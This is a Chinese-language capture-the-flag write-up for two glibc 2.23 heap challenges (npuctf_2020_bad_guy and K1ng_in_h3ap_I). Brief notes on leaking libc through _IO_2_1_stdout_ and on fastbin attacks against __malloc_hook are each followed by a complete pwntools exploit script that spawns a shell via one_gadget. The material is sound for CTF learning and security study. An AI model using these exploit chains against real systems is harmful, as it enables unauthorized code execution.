npuctf_2020_bad_guy
第一次做_IO_2_1_stdout_
泄露libc的题
64位,不能正常dump出libc基址,考虑将堆块申请到_IO_2_1_stdout_
处修改_flags
和_IO_2_1_write_base
泄露libc
由于edit堆溢出,修改unsortedbin fd指针(爆破低二字节)后分配0x10大小堆块使剩余堆块进入fastbin,申请堆块到_IO_2_1_stdout_-0x43
处(此处0x7f跟fastbin attack伪造fake chunk同理
此时修改_IO_2_1_write_base
和_flags
,_flags
修改为0xfbad1887
即可绕过所有检查,_IO_2_1_write_base
低位覆盖为\x00
即可,保证_IO_2_1_write_base
小于_IO_2_1_write_ptr
之后任意执行一次puts
函数即可泄露libc基址
最后利用泄露的libc基址,劫持利用fastbin attack劫持malloc_hook
打one_gadget即可
注意此题的glibc版本为2.23-0ubuntu11
exp:
from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])
# io=remote("node4.buuoj.cn",25428)
io=process("./npuctf_2020_bad_guy")
elf=ELF("./npuctf_2020_bad_guy")
libc=ELF("libc-2.23.so")
one_gadget=[0x45216,0x4526a,0xf02a4,0xf1147]
def add(n,s,cc):
io.sendlineafter(b">> ",b"1")
io.sendlineafter(b"Index :",str(n))
io.sendlineafter(b"size: ",str(s))
io.sendafter(b"Content:",cc)
def edit(n,s,cc):
io.sendlineafter(b">> ",b"2")
io.sendlineafter(b"Index :",str(n))
io.sendlineafter(b"size: ",str(s))
io.sendafter(b"content: ",cc)
def delete(n):
io.sendlineafter(b">> ",b"3")
io.sendlineafter(b"Index :",str(n))
gdb.attach(io)
pause()
add(0,0x10,b"aaa")
add(1,0x10,b"bbb")
add(2,0x60,b"ccc")
add(3,0x10,b"ddd")
delete(2)
payload=cyclic(0x18)+p64(0x91)
edit(0,len(payload),payload)
delete(1)
add(4,0x10,b"bbb")
payload=p64(0)*3+p64(0x71)+b"\xdd\x55"
edit(4,len(payload),payload)
add(5,0x60,b"eee")
payload=b"\x00"*0x33+p64(0xfbad1887)+p64(0)*3+b"\x00"
add(6,0x60,payload)
leak_addr=u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-192-libc.sym[b"_IO_2_1_stderr_"]
print("leak_addr: "+hex(leak_addr))
malloc_hook=leak_addr+libc.sym[b"__malloc_hook"]
shell=leak_addr+one_gadget[3]
add(7,0x60,b"aaa")
delete(7)
payload=p64(0)*3+p64(0x71)+p64(malloc_hook-0x23)
edit(4,len(payload),payload)
add(8,0x60,b"qqq")
add(9,0x60,cyclic(0x13)+p64(shell))
# add(7,0x60,b"ooo")
io.sendlineafter(b">> ",b"1")
io.sendlineafter(b"Index :",b"7")
io.sendlineafter(b"size: ",b"18")
io.interactive()
# 0x45216 execve("/bin/sh", rsp+0x30, environ)
# constraints:
# rax == NULL
# 0x4526a execve("/bin/sh", rsp+0x30, environ)
# constraints:
# [rsp+0x30] == NULL
# 0xf02a4 execve("/bin/sh", rsp+0x50, environ)
# constraints:
# [rsp+0x50] == NULL
# 0xf1147 execve("/bin/sh", rsp+0x70, environ)
# constraints:
# [rsp+0x70] == NULL
[2021 长城杯_院校组]K1ng_in_h3ap_I
利用泄露的printf的基址推算处stdout-0x43处地址,修改fastbin fd低3字节打fastbin attack
然后利用_IO_2_1_stdout_
泄露libc
最后realloc调栈打one_gadget
exp:
from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])
io=remote("node4.anna.nssctf.cn",28714)
# io=process("./pwn")
elf=ELF("./pwn")
libc=ELF("./libc-2.23.so")
def add(n,s):
io.sendlineafter(">> \n","1")
io.sendlineafter("index:\n",str(n))
io.sendlineafter(b"size:\n",str(s))
def delete(n):
io.sendlineafter(">> \n","2")
io.sendlineafter("index:\n",str(n))
def edit(n,cc):
io.sendlineafter(">> \n","3")
io.sendlineafter("index:\n",str(n))
io.sendlineafter(b"context:\n",cc)
def mg():
io.sendlineafter(">> \n","666")
# gdb.attach(io)
# pause()
mg()
io.recvuntil(b"0x")
low_bytes=int(io.recv(6),16)
print("low bytes: "+hex(low_bytes))
stdout=low_bytes+0x36fe10
print("stdout: "+hex(stdout))
add(0,0x60)
add(1,0x90)
add(2,0x60)
add(3,0x60)
delete(1)
add(4,0x60)
edit(4,p64(stdout-0x43)[:3])
delete(0)
delete(2)
edit(2,b"\x70")
add(5,0x60)
add(6,0x60)
add(7,0x60)
payload=b"\x00"*0x33+p64(0xfbad1887)+p64(0)*3+b"\x00"
edit(7,payload)
leak_addr=u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-192-libc.sym[b"_IO_2_1_stderr_"]
print("leak addr: "+hex(leak_addr))
malloc_hook=leak_addr+libc.sym[b"__malloc_hook"]
realloc=leak_addr+libc.sym[b"__libc_realloc"]
one_gadget=[0x45226,0x4527a,0xf03a4,0xf1247]
shell=leak_addr+one_gadget[1]
add(8,0x60)
delete(3)
edit(3,p64(malloc_hook-0x23))
add(9,0x60)
add(10,0x60)
edit(10,cyclic(0xb)+p64(shell)+p64(realloc+0xc))
delete(9)
add(9,0x60)
io.interactive()
# 0x45226 execve("/bin/sh", rsp+0x30, environ)
# constraints:
# rax == NULL
# 0x4527a execve("/bin/sh", rsp+0x30, environ)
# constraints:
# [rsp+0x30] == NULL
# 0xf03a4 execve("/bin/sh", rsp+0x50, environ)
# constraints:
# [rsp+0x50] == NULL
# 0xf1247 execve("/bin/sh", rsp+0x70, environ)
# constraints:
# [rsp+0x70] == NULL